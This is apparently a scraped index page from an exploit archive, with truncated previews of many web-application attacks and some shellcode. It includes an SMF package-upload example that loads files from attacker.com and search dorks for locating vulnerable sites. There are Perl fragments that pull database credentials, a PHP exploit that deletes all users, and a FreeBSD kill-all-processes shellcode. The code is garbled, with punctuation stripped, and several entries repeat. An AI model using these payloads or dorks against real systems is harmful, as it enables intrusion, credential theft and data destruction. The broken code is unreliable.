Simple Machines Forum <= 1.1.7 XSRF/XSS/Package Upload Vuln

No description provided by source. Author: Xianur0 Vulnerable Version: All The Bug is located in the file: Sources/PackageGet.php Example: http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com When the admin link between the SMF to load the file:...

Silentum Boards Cross Site Scripting

--------------------------------------------------------- Portal Name: Silentum Boards Version : All version Vendor : http://hypersilence.net/silentumboards.php Author : PouyaServer , [email protected] Risk: Low Aria-security.net Vulnerability : XSS...

ASPThai.Net Webboard 6.0 (bview.asp) SQL Injection Vulnerability

No description provided by source. ASPThai.Net Webboard 6.0bview.asp SQL Injection Vulnerability Autore: DaiMon Email: cwdaimon1gmail.com Site: http://www.cwdaimon.com Version: 6.0 Download: http://www.aspthai.net/detailcode.asp?Mode=Load&DID=7&Redirect=QUHG/UKCD/RREP/VZssGGYUkedWebLtksjudROM Bug...

Joomla All Hotels Component Blind SQL Injection

Joomla Component comallhotels id Blind SQL Injection Vulnerability Author: Hussin X Home : www.IQ-TY.com & www.TrYaG.cc script : http://www.joomlahbs.com/ & http://www.leveltensolutions.net/spa/ DorK : inurl:index.php?option=comallhotels Demo :...

Microsoft Windows Media Player - .wav Remote Crash (PoC)

Microsoft Windows Media Player - .wav Remote Crash PoC ----------------------------------------------------------------------------------------| MS Windows Media Player .WAV Remote Integrer Overflow | | Application: ALL Windows Media player | | Web Site: www.microsoft.com | | Platform: Windows AL...

ReVou Twitter Clone Arbitrary File Upload Vulnerability

Exploit for unknown platform in category web applications ======================================================= ReVou Twitter Clone Arbitrary File Upload Vulnerability ======================================================= --------------------------------------------------------- Portal Name:...

allclubcms-dbretrieve.txt

!/usr/bin/perl =about All Club CMS 'Lynx textmode', timeout = 5, or die $!; my $send = $http-get"http://$host/$path/accms.dat"; if$send-issuccess print STDOUT $send-content; exit; else print STDERR $send-statusline; exit; if$mode = /default/i $data9 = s/\s/\0/; password $data8 = s/DBPASS/\0/;...

All Club CMS <= 0.0.2 Remote DB Config Retrieve Exploit

No description provided by source. !/usr/bin/perl =about All Club CMS = 0.0.2 Remote DB Config Retrieve Exploit ------------------------------------------------------- by athos - stakerathotmaildotit download on http://sourceforge.net ------------------------------------------------------- Usage:...

All Club CMS 0.0.2 - Remote Database Configuration Retrieve

!/usr/bin/perl =about All Club CMS 'Lynx textmode', timeout = 5, or die $!; my $send = $http-get"http://$host/$path/accms.dat"; if$send-issuccess print STDOUT $send-content; exit; else print STDERR $send-statusline; exit; if$mode = /default/i $data9 = s/\s/\0/; password $data8 = s/DBPASS/\0/;...

CVE-2008-4782: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in public/code/cppollsresults.php in All In One Control Panel AIOCP 1.4 allows remote attackers to execute arbitrary SQL commands via the pollid parameter...

phpmyadminall-xss.txt

Author : Hadi Kiamarsi ------------------------------------------- Discovered by : Hadi Kiamarsi ------------------------------------------- Exploited By : Hadi Kiamarsi ------------------------------------------- E-Mail : hadikiamarsiathotmail.com ------------------------------------------- web...

CSPartner 1.0 (Delete All Users/SQL Injection) Remote Exploit

No description provided by source. ?php / CSPartner 1.0 Delete All Users/SQL Injection Remote Exploit ---------------------------------------------------------------- By StAkeRathotmaildotit http://www.easy-script.com/scripts-dl/cspartne-01.zip...

CSPartner 1.0 - Delete All Users SQL Injection

CSPartner 1.0 - Delete All Users SQL Injection ?php / CSPartner 1.0 Delete All Users/SQL Injection Remote Exploit ---------------------------------------------------------------- By StAkeRathotmaildotit http://www.easy-script.com/scripts-dl/cspartne-01.zip...

CSPartner 1.0 (Delete All Users/SQL Injection) Remote Exploit

Exploit for unknown platform in category web applications ============================================================= CSPartner 1.0 Delete All Users/SQL Injection Remote Exploit ============================================================= ?php / CSPartner 1.0 Delete All Users/SQL Injection...

CSPartner 1.0 - Delete All Users / SQL Injection

?php / CSPartner 1.0 Delete All Users/SQL Injection Remote Exploit ---------------------------------------------------------------- By StAkeRathotmaildotit http://www.easy-script.com/scripts-dl/cspartne-01.zip ---------------------------------------------------------------- File gestion.php 5...

LoudBlog 0.8.0a - 'ajax.php' SQL Injection

!/usr/bin/perl This Exploit requires a valid user name and password of an account regardless of the permissions Author: Xianur0 Affected: All Versions Bug: SQL Injection Doorks: allintext: "powered by LoudBlog" use HTTP::Request::Common qwPOST; use LWP::UserAgent; use Digest::MD5 qwmd5hex; $ua =...

WordPress Plugin WP Comment Remix 1.4.3 - SQL Injection

Advisory: http://chxsecurity.org/advisories/adv-3-full.txt PoC Mirror: http://chxsecurity.org/proof-of-concepts/wp-comment-remix-143.zip Attention: This is a Proof-of-Concept it was never intended to be fully functional Notes: Uses cURL / // Script Header function head print "\n WP Comment Remix...

freebsd/x86 - kill all processes 12 bytes

freebsd/x86 kill all processes 12 bytes. Shellcode exploit for freebsdx86 platform CoDed bY suN8Hclf DaRk-CodeRs Group productions, kid FreeBSD x86 kill all procesess 12 bytes shellcode Compile: nasm -f elf code.asm ld -e start -o code code.o Assembly code:...

AJ HYIP ACME - readarticle.php SQL Injection

AJ HYIP ACME - readarticle.php SQL Injection || || | || o,7 || . o7 || 4||| ow, : / / . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| | | | /' \ /'\ /\ \ /'\ /\ \ | | /, \ /\/\L\ \ \ \ ,/\ /\ \ \ \ / | | //\ \ /' \ /\ //\ Kings of injection | | // | | |...

HydraIRC远程拒绝服务漏洞

BUGTRAQ ID: 30523 CNCAN ID：CNCAN-2008080502 HydraIRC是一款IRC聊天客户端。 HydraIRC不正确处理恶意WEB页，远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击。 构建恶意WEB页，诱使用户解析，可导致应用程序崩溃。 HydraIRC 0.3.164 目前没有解决方案提供： http://www.hydrairc.com/ Vendor : http://www.hydrairc.com/ Remote : Yes Impact : Remote crash Bug : Null Pointer Dereference Worki...